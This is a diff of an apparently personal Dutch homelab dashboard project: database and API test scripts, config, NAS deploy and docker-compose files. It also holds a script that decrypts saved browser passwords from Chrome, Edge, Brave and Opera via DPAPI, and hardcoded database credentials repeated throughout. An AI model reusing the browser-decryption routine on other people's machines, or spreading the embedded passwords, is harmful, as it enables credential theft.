print("\n--- PASSWORDS ---")
|
||||||
|
rows = query("SELECT count(*) as c FROM dashboard.passwords", fetch="one")
|
||||||
|
print(f" Count: {rows['c']}")
|
||||||
|
|
||||||
|
# Calendar
|
||||||
|
print("\n--- CALENDAR ---")
|
||||||
|
rows = query("SELECT count(*) as c FROM dashboard.calendar_events", fetch="one")
|
||||||
|
print(f" Count: {rows['c']}")
|
||||||
|
|
||||||
|
# Files
|
||||||
|
print("\n--- FILE INDEX ---")
|
||||||
|
rows = query("SELECT count(*) as c FROM dashboard.file_index", fetch="one")
|
||||||
|
print(f" Count: {rows['c']}")
|
||||||
|
|
||||||
|
# Photos
|
||||||
|
print("\n--- PHOTOS ---")
|
||||||
|
rows = query("SELECT count(*) as c FROM dashboard.photos", fetch="one")
|
||||||
|
print(f" Count: {rows['c']}")
|
||||||
|
|
||||||
|
# Widgets
|
||||||
|
print("\n--- WIDGETS ---")
|
||||||
|
rows = query("SELECT count(*) as c FROM dashboard.dashboard_widgets", fetch="one")
|
||||||
|
print(f" Count: {rows['c']}")
|
||||||
|
|
||||||
|
# ── NEO4J ──────────────────────────────────────────────────────
|
||||||
|
print("\n" + "=" * 70)
|
||||||
|
print("NEO4J NETWERK DATA")
|
||||||
|
print("=" * 70)
|
||||||
|
|
||||||
|
from src.neo4j_client import get_driver, get_all_devices, get_scan_history, get_network_summary, close
|
||||||
|
|
||||||
|
try:
|
||||||
|
devices = get_all_devices()
|
||||||
|
print(f"\nDevices: {len(devices)}")
|
||||||
|
for d in devices:
|
||||||
|
ports = sorted([p.get('port') for p in (d.get('ports') or []) if p and p.get('port')])
|
||||||
|
print(f" {d['ip']:<16} {d.get('hostname','')[:35]:<35} {d.get('os_guess','')[:28]:<28} ports={ports}")
|
||||||
|
|
||||||
|
print("\n--- Scan History ---")
|
||||||
|
for s in get_scan_history():
|
||||||
|
print(f" {s['id']} @ {s.get('timestamp','?')} — {s.get('hosts_active','?')} hosts")
|
||||||
|
|
||||||
|
print("\n--- Summary ---")
|
||||||
|
s = get_network_summary()
|
||||||
|
print(f" Total devices: {s.get('total_devices','?')}")
|
||||||
|
print(f" Unique ports: {s.get('total_ports','?')}")
|
||||||
|
os_types = s.get('os_types', [])
|
||||||
|
from collections import Counter
|
||||||
|
for os_t, cnt in Counter(os_types).most_common():
|
||||||
|
print(f" {os_t}: {cnt}")
|
||||||
|
|
||||||
|
close()
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Neo4j ERROR: {e}")
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
|
print("\nDONE.")
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
"""Verwijder duplicate favorites (ID 11-20)."""
|
||||||
|
import os, sys
|
||||||
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||||||
|
os.environ["PG_PORT"] = "5433"
|
||||||
|
os.environ["PG_USER"] = "mo"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_DATABASE"] = "homelab"
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from src.pg_client import query, execute
|
||||||
|
|
||||||
|
print("Voor opschonen:")
|
||||||
|
rows = query("SELECT id, title FROM dashboard.favorites ORDER BY id")
|
||||||
|
for r in rows:
|
||||||
|
print(f" [{r['id']}] {r['title']}")
|
||||||
|
|
||||||
|
# Verwijder IDs 11-20
|
||||||
|
deleted = execute("DELETE FROM dashboard.favorites WHERE id >= 11 AND id <= 20")
|
||||||
|
print(f"\n{deleted} rows verwijderd.")
|
||||||
|
|
||||||
|
# Reset sequence
|
||||||
|
execute("SELECT setval('dashboard.favorites_id_seq', (SELECT max(id) FROM dashboard.favorites))")
|
||||||
|
|
||||||
|
print("\nNa opschonen:")
|
||||||
|
rows = query("SELECT id, title FROM dashboard.favorites ORDER BY id")
|
||||||
|
for r in rows:
|
||||||
|
print(f" [{r['id']}] {r['title']}")
|
||||||
|
|
||||||
|
print("\nDone.")
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
"""Quick smoke test voor imports."""
|
||||||
|
import os, sys
|
||||||
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||||||
|
os.environ["PG_PORT"] = "5433"
|
||||||
|
os.environ["PG_USER"] = "mo"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_DATABASE"] = "homelab"
|
||||||
|
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
|
||||||
|
os.environ["NEO4J_USER"] = "neo4j"
|
||||||
|
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
print("Testing imports...")
|
||||||
|
try:
|
||||||
|
from src.web_server import app
|
||||||
|
print(" web_server: OK")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" web_server: FAIL - {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.dashboard_api import router
|
||||||
|
print(" dashboard_api: OK")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" dashboard_api: FAIL - {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.mcp_server import server
|
||||||
|
print(" mcp_server: OK")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" mcp_server: FAIL - {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.ha_client import HAClient
|
||||||
|
print(" ha_client: OK")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" ha_client: FAIL - {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.whisper_client import transcribe
|
||||||
|
print(" whisper_client: OK")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" whisper_client: FAIL - {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.pg_client import query
|
||||||
|
print(" pg_client: OK")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" pg_client: FAIL - {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.neo4j_client import get_all_devices, close
|
||||||
|
devices = get_all_devices()
|
||||||
|
print(f" neo4j_client: OK ({len(devices)} devices)")
|
||||||
|
close()
|
||||||
|
except Exception as e:
|
||||||
|
print(f" neo4j_client: FAIL - {e}")
|
||||||
|
|
||||||
|
print("\nAll imports verified.")
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
import urllib.request, json
|
||||||
|
def get(path):
|
||||||
|
r = urllib.request.urlopen(f'http://127.0.0.1:8765{path}', timeout=5)
|
||||||
|
return json.loads(r.read())
|
||||||
|
|
||||||
|
print('=== Health ===')
|
||||||
|
print(get('/api/health'))
|
||||||
|
|
||||||
|
print('\n=== Favorites (raw) ===')
|
||||||
|
r = get('/api/dashboard/favorites')
|
||||||
|
print(f'Type: {type(r).__name__}, len: {len(r) if isinstance(r, list) else "N/A"}')
|
||||||
|
if isinstance(r, list) and r:
|
||||||
|
print(f'First item type: {type(r[0]).__name__}')
|
||||||
|
print(f'First item: {r[0]}')
|
||||||
|
elif isinstance(r, dict):
|
||||||
|
print(f'Keys: {list(r.keys())}')
|
||||||
|
if 'detail' in r: print(f'Error: {r}')
|
||||||
|
|
||||||
|
print('\n=== Overview ===')
|
||||||
|
r = get('/api/dashboard/overview')
|
||||||
|
print(json.dumps({k:v for k,v in r.items() if not isinstance(v, list)}, indent=2))
|
||||||
|
|
||||||
|
print('\n=== Dashboard HTML ===')
|
||||||
|
r2 = urllib.request.urlopen('http://127.0.0.1:8765/dashboard', timeout=5)
|
||||||
|
print(f'Status: {r2.status}, {len(r2.read())} bytes')
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
"""Quick test: pg_client + dashboard API."""
|
||||||
|
import os, sys
|
||||||
|
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
|
||||||
|
# Test PostgreSQL connectie
|
||||||
|
from src.pg_client import query
|
||||||
|
print("PostgreSQL test:")
|
||||||
|
try:
|
||||||
|
r = query("SELECT count(*) as cnt FROM dashboard.favorites", fetch="one")
|
||||||
|
print(f" Favorites: {r['cnt']}")
|
||||||
|
r2 = query("SELECT count(*) as cnt FROM dashboard.calendar_events", fetch="one")
|
||||||
|
print(f" Events: {r2['cnt']}")
|
||||||
|
r3 = query("SELECT count(*) as cnt FROM dashboard.passwords", fetch="one")
|
||||||
|
print(f" Passwords: {r3['cnt']}")
|
||||||
|
print(" [OK] PostgreSQL werkt!")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" [FOUT] {e}")
|
||||||
|
|
||||||
|
# Test Neo4j connectie
|
||||||
|
print("\nNeo4j test:")
|
||||||
|
try:
|
||||||
|
from src.neo4j_client import get_driver, get_all_devices, close
|
||||||
|
devices = get_all_devices()
|
||||||
|
print(f" Devices: {len(devices)}")
|
||||||
|
print(f" Eerste: {devices[0]['ip']} - {devices[0]['hostname']}")
|
||||||
|
print(" [OK] Neo4j werkt!")
|
||||||
|
close()
|
||||||
|
except Exception as e:
|
||||||
|
print(f" [FOUT] {e}")
|
||||||
|
|
||||||
|
print("\nAlle connecties werken. Server kan starten.")
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
"""Test alle dashboard API endpoints."""
|
||||||
|
import urllib.request, json
|
||||||
|
|
||||||
|
BASE = "http://127.0.0.1:8765"
|
||||||
|
|
||||||
|
def get(path):
|
||||||
|
try:
|
||||||
|
r = urllib.request.urlopen(f"{BASE}{path}", timeout=10)
|
||||||
|
return json.loads(r.read())
|
||||||
|
except Exception as e:
|
||||||
|
return {"error": str(e)}
|
||||||
|
|
||||||
|
print("=== Health ===")
|
||||||
|
print(get("/api/health"))
|
||||||
|
|
||||||
|
print("\n=== Dashboard Overview ===")
|
||||||
|
o = get("/api/dashboard/overview")
|
||||||
|
print(f"Favorites: {o.get('favorites_count')}, Passwords: {o.get('password_count')}, Network: {o.get('network_devices')}")
|
||||||
|
|
||||||
|
print("\n=== Dashboard Config ===")
|
||||||
|
c = get("/api/dashboard/config")
|
||||||
|
print(f"Settings: {list(c.get('settings',{}).keys())}")
|
||||||
|
print(f"Connections: {list(c.get('connections',{}).keys())}")
|
||||||
|
print(f"Counts: {c.get('counts')}")
|
||||||
|
print(f"Neo4j available: {c.get('connections',{}).get('neo4j',{}).get('available')}")
|
||||||
|
|
||||||
|
print("\n=== Dashboard Network ===")
|
||||||
|
n = get("/api/dashboard/network")
|
||||||
|
if "error" in n:
|
||||||
|
print(f"ERROR: {n['error']}")
|
||||||
|
else:
|
||||||
|
print(f"Devices: {n['summary']['total_devices']}")
|
||||||
|
print(f"Ports: {n['summary']['total_ports']}")
|
||||||
|
print(f"OS categories: {list(n['summary']['os_categories'].keys())[:5]}")
|
||||||
|
|
||||||
|
print("\n=== Dashboard Systems ===")
|
||||||
|
s = get("/api/dashboard/systems")
|
||||||
|
if isinstance(s, list):
|
||||||
|
print(f"Systems: {len(s)}")
|
||||||
|
if s:
|
||||||
|
print(f"First: {s[0]['ip']} - {s[0]['hostname']}")
|
||||||
|
else:
|
||||||
|
print(f"Error: {s}")
|
||||||
|
|
||||||
|
print("\n=== System Detail (192.168.1.211) ===")
|
||||||
|
d = get("/api/dashboard/systems/192.168.1.211")
|
||||||
|
print(f"IP: {d.get('ip')}, OS: {d.get('os_guess')}, Ports: {len(d.get('ports',[]))}")
|
||||||
|
|
||||||
|
print("\n=== Favorites ===")
|
||||||
|
f = get("/api/dashboard/favorites")
|
||||||
|
print(f"{len(f)} favorieten")
|
||||||
|
|
||||||
|
print("\n[OK] Alle endpoints getest!")
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
import urllib.request, json
|
||||||
|
def get(path):
|
||||||
|
try:
|
||||||
|
r = urllib.request.urlopen(f'http://127.0.0.1:8765{path}', timeout=5)
|
||||||
|
return json.loads(r.read())
|
||||||
|
except Exception as e:
|
||||||
|
return {'error': str(e)}
|
||||||
|
|
||||||
|
print('=== Health ===')
|
||||||
|
print(get('/api/health'))
|
||||||
|
|
||||||
|
print('\n=== Favorites ===')
|
||||||
|
r = get('/api/dashboard/favorites')
|
||||||
|
print(f'{len(r)} favorieten (eerste: {r[0]["title"] if r else "geen"})')
|
||||||
|
|
||||||
|
print('\n=== Overview ===')
|
||||||
|
r = get('/api/dashboard/overview')
|
||||||
|
print(f'Stats: {r["favorites_count"]} favs, {r["password_count"]} pws, {r["photo_count"]} photos')
|
||||||
|
|
||||||
|
print('\n=== Calendar ===')
|
||||||
|
r = get('/api/dashboard/calendar?days=7')
|
||||||
|
print(f'{len(r)} events komende 7 dagen')
|
||||||
|
|
||||||
|
print('\n=== Dashboard HTML ===')
|
||||||
|
r2 = urllib.request.urlopen('http://127.0.0.1:8765/dashboard', timeout=5)
|
||||||
|
print(f'Dashboard pagina: {r2.status} ({len(r2.read())} bytes)')
|
||||||
|
|
||||||
|
print('\n=== Homepage ===')
|
||||||
|
r3 = urllib.request.urlopen('http://127.0.0.1:8765/', timeout=5)
|
||||||
|
print(f'Voice control pagina: {r3.status} ({len(r3.read())} bytes)')
|
||||||
|
|
||||||
|
print('\n[OK] Alle endpoints werken!')
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
"""Test MCP server import with FastMCP."""
|
||||||
|
import os, sys
|
||||||
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||||||
|
os.environ["PG_PORT"] = "5433"
|
||||||
|
os.environ["PG_USER"] = "mo"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_DATABASE"] = "homelab"
|
||||||
|
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
|
||||||
|
os.environ["NEO4J_USER"] = "neo4j"
|
||||||
|
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from src.mcp_server import server
|
||||||
|
print(f"MCP Server OK: {server.name}")
|
||||||
|
print(f"Tools: {len(server.list_tools())}")
|
||||||
|
for tool in server.list_tools():
|
||||||
|
print(f" - {tool.name}: {tool.description[:60] if tool.description else 'no desc'}...")
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
"""
|
||||||
|
Configuratie voor de MCP Home Assistant Voice Control applicatie.
|
||||||
|
Alle instellingen kunnen worden overschreven via omgevingsvariabelen.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
# Laad .env bestand als python-dotenv beschikbaar is
|
||||||
|
try:
|
||||||
|
from dotenv import load_dotenv
|
||||||
|
_env_path = Path(__file__).resolve().parent / ".env"
|
||||||
|
if _env_path.exists():
|
||||||
|
load_dotenv(_env_path)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ── Home Assistant ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
HA_URL = os.getenv("HA_URL", "http://192.168.1.235:8123")
|
||||||
|
HA_TOKEN = os.getenv("HA_TOKEN", "")
|
||||||
|
|
||||||
|
# ── Whisper transcriptie ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# "local" gebruikt faster-whisper (offline, CPU/GPU)
|
||||||
|
# "openai" gebruikt de OpenAI API (sneller, maar vereist API key)
|
||||||
|
WHISPER_MODE = os.getenv("WHISPER_MODE", "local")
|
||||||
|
|
||||||
|
# Model voor lokale modus: tiny, tiny.en, base, base.en, small, small.en,
|
||||||
|
# medium, medium.en, large-v3. "base" is een goede balans.
|
||||||
|
WHISPER_MODEL = os.getenv("WHISPER_MODEL", "base")
|
||||||
|
|
||||||
|
# Alleen nodig als WHISPER_MODE="openai"
|
||||||
|
OPENAI_API_KEY = os.getenv("OPENAI_API_KEY", "")
|
||||||
|
|
||||||
|
# Rekenapparaat voor faster-whisper: "auto", "cpu", "cuda"
|
||||||
|
WHISPER_DEVICE = os.getenv("WHISPER_DEVICE", "auto")
|
||||||
|
|
||||||
|
# ── Web server ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
WEB_HOST = os.getenv("WEB_HOST", "127.0.0.1")
|
||||||
|
WEB_PORT = int(os.getenv("WEB_PORT", "8765"))
|
||||||
|
|
||||||
|
# CORS origins toegestaan (voor externe frontend hosting)
|
||||||
|
CORS_ORIGINS = os.getenv("CORS_ORIGINS", "*").split(",")
|
||||||
|
|
||||||
|
# ── Neo4j graph database ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
NEO4J_URI = os.getenv("NEO4J_URI", "neo4j://192.168.1.211:49153")
|
||||||
|
NEO4J_USER = os.getenv("NEO4J_USER", "neo4j")
|
||||||
|
NEO4J_PASSWORD = os.getenv("NEO4J_PASSWORD", "")
|
||||||
|
|
||||||
|
# ── PostgreSQL ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
PG_HOST = os.getenv("PG_HOST", "192.168.1.211")
|
||||||
|
PG_PORT = int(os.getenv("PG_PORT", "5433"))
|
||||||
|
PG_USER = os.getenv("PG_USER", "mo")
|
||||||
|
PG_PASSWORD = os.getenv("PG_PASSWORD", "")
|
||||||
|
PG_DATABASE = os.getenv("PG_DATABASE", "homelab")
|
||||||
|
|
||||||
|
# ── Paden ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
PROJECT_ROOT = Path(__file__).resolve().parent
|
||||||
|
STATIC_DIR = PROJECT_ROOT / "static"
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
# deploy_to_nas.ps1 — Kopieer project naar Synology NAS en start Docker
|
||||||
|
# Gebruik: powershell -ExecutionPolicy Bypass -File deploy_to_nas.ps1
|
||||||
|
|
||||||
|
param(
|
||||||
|
[string]$NasHost = "192.168.1.211",
|
||||||
|
[string]$NasUser = "mo",
|
||||||
|
[string]$NasPath = "/volume1/docker/ha-voice-control"
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
$localDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||||
|
|
||||||
|
Write-Host "=== Deploy HA Voice Control naar Synology NAS ===" -ForegroundColor Cyan
|
||||||
|
Write-Host ""
|
||||||
|
|
||||||
|
# Bestanden die mee moeten naar de NAS
|
||||||
|
$files = @(
|
||||||
|
"Dockerfile",
|
||||||
|
"docker-compose.yml",
|
||||||
|
".dockerignore",
|
||||||
|
"config.py",
|
||||||
|
"requirements.txt",
|
||||||
|
"requirements-neo4j.txt"
|
||||||
|
)
|
||||||
|
|
||||||
|
$dirs = @(
|
||||||
|
"src",
|
||||||
|
"static"
|
||||||
|
)
|
||||||
|
|
||||||
|
# 1. Maak target directory op NAS
|
||||||
|
Write-Host "[1/4] Directory aanmaken op NAS..." -ForegroundColor Yellow
|
||||||
|
ssh "${NasUser}@${NasHost}" "mkdir -p ${NasPath}"
|
||||||
|
|
||||||
|
# 2. Kopieer losse bestanden
|
||||||
|
Write-Host "[2/4] Bestanden kopieren..." -ForegroundColor Yellow
|
||||||
|
foreach ($file in $files) {
|
||||||
|
$src = Join-Path $localDir $file
|
||||||
|
if (Test-Path $src) {
|
||||||
|
scp $src "${NasUser}@${NasHost}:${NasPath}/"
|
||||||
|
Write-Host " OK: $file" -ForegroundColor Green
|
||||||
|
} else {
|
||||||
|
Write-Host " SKIP: $file (niet gevonden)" -ForegroundColor Gray
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# 3. Kopieer mappen
|
||||||
|
Write-Host "[3/4] Mappen kopieren..." -ForegroundColor Yellow
|
||||||
|
foreach ($dir in $dirs) {
|
||||||
|
$src = Join-Path $localDir $dir
|
||||||
|
if (Test-Path $src) {
|
||||||
|
scp -r $src "${NasUser}@${NasHost}:${NasPath}/"
|
||||||
|
Write-Host " OK: $dir/" -ForegroundColor Green
|
||||||
|
} else {
|
||||||
|
Write-Host " SKIP: $dir/ (niet gevonden)" -ForegroundColor Gray
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# 4. Bouwen en starten
|
||||||
|
Write-Host "[4/4] Docker bouwen en starten..." -ForegroundColor Yellow
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Nu op de NAS (ssh):"
|
||||||
|
Write-Host " cd ${NasPath}"
|
||||||
|
Write-Host " docker-compose up -d --build"
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Dashboard wordt bereikbaar op: http://192.168.1.211:8765/dashboard" -ForegroundColor Cyan
|
||||||
|
Write-Host ""
|
||||||
|
|
||||||
|
$sshCmd = Read-Host "Wil je direct verbinden met SSH? (y/n)"
|
||||||
|
if ($sshCmd -eq "y") {
|
||||||
|
ssh -t "${NasUser}@${NasHost}" "cd ${NasPath} && docker-compose up -d --build && echo '' && echo 'Dashboard: http://192.168.1.211:8765/dashboard' && docker-compose logs --tail=10"
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
# docker-compose.yml — HA Voice Control voor Synology NAS
|
||||||
|
# Plaats op je NAS: /volume1/docker/ha-voice-control/
|
||||||
|
#
|
||||||
|
# Bouwen & starten: docker-compose up -d --build
|
||||||
|
# Stoppen: docker-compose down
|
||||||
|
# Logs: docker-compose logs -f
|
||||||
|
|
||||||
|
services:
|
||||||
|
ha-voice-control:
|
||||||
|
build: .
|
||||||
|
container_name: ha-voice-control
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
network_mode: host # directe toegang tot PostgreSQL + Neo4j op de NAS
|
||||||
|
|
||||||
|
environment:
|
||||||
|
- HA_URL=http://192.168.1.235:8123
|
||||||
|
- HA_TOKEN=${HA_TOKEN:-}
|
||||||
|
- WHISPER_MODE=local
|
||||||
|
- WHISPER_MODEL=tiny
|
||||||
|
- WHISPER_DEVICE=cpu
|
||||||
|
- WEB_HOST=0.0.0.0
|
||||||
|
- WEB_PORT=8765
|
||||||
|
- CORS_ORIGINS=*
|
||||||
|
- PG_HOST=localhost
|
||||||
|
- PG_PORT=5433
|
||||||
|
- PG_USER=mo
|
||||||
|
- PG_PASSWORD=${PG_PASSWORD:-WaQTUw2t}
|
||||||
|
- PG_DATABASE=homelab
|
||||||
|
- NEO4J_URI=neo4j://localhost:49153
|
||||||
|
- NEO4J_USER=neo4j
|
||||||
|
- NEO4J_PASSWORD=${NEO4J_PASSWORD:-WaQTUw2t}
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
- whisper-cache:/root/.cache/huggingface
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
whisper-cache:
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
# docker-compose.yml — Gitea self-hosted Git op Synology NAS
|
||||||
|
# Plaats op NAS: /volume1/docker/gitea/
|
||||||
|
#
|
||||||
|
# Bouwen & starten: docker-compose up -d
|
||||||
|
# Web UI: http://192.168.1.211:3000
|
||||||
|
# Git SSH clone: git clone ssh://git@192.168.1.211:2222/gebruiker/repo.git
|
||||||
|
|
||||||
|
services:
|
||||||
|
gitea:
|
||||||
|
image: gitea/gitea:latest
|
||||||
|
container_name: gitea
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
network_mode: host
|
||||||
|
|
||||||
|
environment:
|
||||||
|
- USER_UID=1026
|
||||||
|
- USER_GID=100
|
||||||
|
- TZ=Europe/Brussels
|
||||||
|
# SSH op alternatieve poort (2222) — NAS gebruikt poort 22
|
||||||
|
- GITEA__server__SSH_PORT=2222
|
||||||
|
- GITEA__server__SSH_LISTEN_PORT=2222
|
||||||
|
- GITEA__server__DOMAIN=192.168.1.211
|
||||||
|
- GITEA__server__ROOT_URL=http://192.168.1.211:3000
|
||||||
|
- GITEA__server__HTTP_PORT=3000
|
||||||
|
- GITEA__server__DISABLE_SSH=false
|
||||||
|
- GITEA__server__START_SSH_SERVER=true
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
- gitea-data:/data
|
||||||
|
- gitea-config:/etc/gitea
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
gitea-data:
|
||||||
|
gitea-config:
|
||||||
@@ -0,0 +1,284 @@
|
|||||||
|
# Browser & Vaultwarden Wachtwoord Import Script
|
||||||
|
# ==============================================
|
||||||
|
# Dit script importeert wachtwoorden in de PostgreSQL dashboard database.
|
||||||
|
#
|
||||||
|
# GEBRUIK:
|
||||||
|
# 1. Vanuit browser (Chrome/Edge/Firefox): python import_passwords.py --browser
|
||||||
|
# 2. Vanuit Vaultwarden/Bitwarden CSV: python import_passwords.py --csv export.csv
|
||||||
|
# 3. Vanuit JSON bestand: python import_passwords.py --json passwords.json
|
||||||
|
#
|
||||||
|
# JSON formaat:
|
||||||
|
# [{"title": "Google", "url": "https://google.com", "username": "user", "password": "secret"}]
|
||||||
|
#
|
||||||
|
# CSV formaat (Bitwarden/Vaultwarden):
|
||||||
|
# name,url,username,password,notes
|
||||||
|
|
||||||
|
import os, sys, csv, json, argparse
|
||||||
|
|
||||||
|
# DB config
|
||||||
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||||||
|
os.environ["PG_PORT"] = "5433"
|
||||||
|
os.environ["PG_USER"] = "mo"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_DATABASE"] = "homelab"
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from src.dashboard_api import _encrypt
|
||||||
|
from src.pg_client import execute, query
|
||||||
|
|
||||||
|
|
||||||
|
def extract_chrome_passwords():
|
||||||
|
"""Extracteer wachtwoorden uit Chrome/Edge/Brave (Windows)."""
|
||||||
|
import sqlite3, base64
|
||||||
|
|
||||||
|
# Zoek alle Chromium-based browsers
|
||||||
|
localappdata = os.environ.get("LOCALAPPDATA", "")
|
||||||
|
browsers = {
|
||||||
|
"Chrome": os.path.join(localappdata, "Google", "Chrome", "User Data"),
|
||||||
|
"Edge": os.path.join(localappdata, "Microsoft", "Edge", "User Data"),
|
||||||
|
"Brave": os.path.join(localappdata, "BraveSoftware", "Brave-Browser", "User Data"),
|
||||||
|
"Opera": os.path.join(os.environ.get("APPDATA", ""), "Opera Software", "Opera Stable"),
|
||||||
|
}
|
||||||
|
|
||||||
|
all_passwords = []
|
||||||
|
|
||||||
|
for name, user_data in browsers.items():
|
||||||
|
if not os.path.exists(user_data):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check Default profile + numbered profiles
|
||||||
|
for profile in ["Default"] + [f"Profile {i}" for i in range(1, 10)]:
|
||||||
|
login_db = os.path.join(user_data, profile, "Login Data")
|
||||||
|
local_state = os.path.join(user_data, "Local State")
|
||||||
|
|
||||||
|
if not os.path.exists(login_db) or not os.path.exists(local_state):
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Get encrypted key from Local State
|
||||||
|
with open(local_state, "r", encoding="utf-8") as f:
|
||||||
|
state = json.load(f)
|
||||||
|
encrypted_key = base64.b64decode(
|
||||||
|
state.get("os_crypt", {}).get("encrypted_key", "")
|
||||||
|
)
|
||||||
|
# Remove "DPAPI" prefix (5 bytes)
|
||||||
|
encrypted_key = encrypted_key[5:]
|
||||||
|
|
||||||
|
# Decrypt key with DPAPI
|
||||||
|
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||||||
|
import ctypes
|
||||||
|
from ctypes import wintypes
|
||||||
|
|
||||||
|
class DATA_BLOB(ctypes.Structure):
|
||||||
|
_fields_ = [("cbData", wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
|
||||||
|
|
||||||
|
crypt32 = ctypes.windll.crypt32
|
||||||
|
kernel32 = ctypes.windll.kernel32
|
||||||
|
|
||||||
|
blob_in = DATA_BLOB(len(encrypted_key), ctypes.create_string_buffer(encrypted_key, len(encrypted_key)))
|
||||||
|
blob_out = DATA_BLOB()
|
||||||
|
|
||||||
|
if crypt32.CryptUnprotectData(
|
||||||
|
ctypes.byref(blob_in), None, None, None, None, 0, ctypes.byref(blob_out)
|
||||||
|
):
|
||||||
|
aes_key = ctypes.string_at(blob_out.pbData, blob_out.cbData)
|
||||||
|
kernel32.LocalFree(blob_out.pbData)
|
||||||
|
else:
|
||||||
|
print(f" Kon DPAPI key niet decrypten voor {name}/{profile}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Read passwords
|
||||||
|
conn = sqlite3.connect(login_db)
|
||||||
|
cursor = conn.execute(
|
||||||
|
"SELECT origin_url, username_value, password_value FROM logins"
|
||||||
|
)
|
||||||
|
|
||||||
|
aesgcm = AESGCM(aes_key)
|
||||||
|
count = 0
|
||||||
|
for url, username, enc_pwd in cursor:
|
||||||
|
if not enc_pwd:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
# Format: "v10" (3 bytes prefix) + 12 bytes nonce + ciphertext + 16 bytes tag
|
||||||
|
nonce = enc_pwd[3:15]
|
||||||
|
ciphertext = enc_pwd[15:-16]
|
||||||
|
tag = enc_pwd[-16:]
|
||||||
|
password = aesgcm.decrypt(nonce, ciphertext + tag, None).decode("utf-8")
|
||||||
|
|
||||||
|
title = url.split("://")[-1].split("/")[0] if url else "Onbekend"
|
||||||
|
all_passwords.append({
|
||||||
|
"title": title,
|
||||||
|
"url": url,
|
||||||
|
"username": username,
|
||||||
|
"password": password,
|
||||||
|
})
|
||||||
|
count += 1
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
print(f" {name}/{profile}: {count} wachtwoorden gevonden")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f" Fout bij {name}/{profile}: {e}")
|
||||||
|
|
||||||
|
return all_passwords
|
||||||
|
|
||||||
|
|
||||||
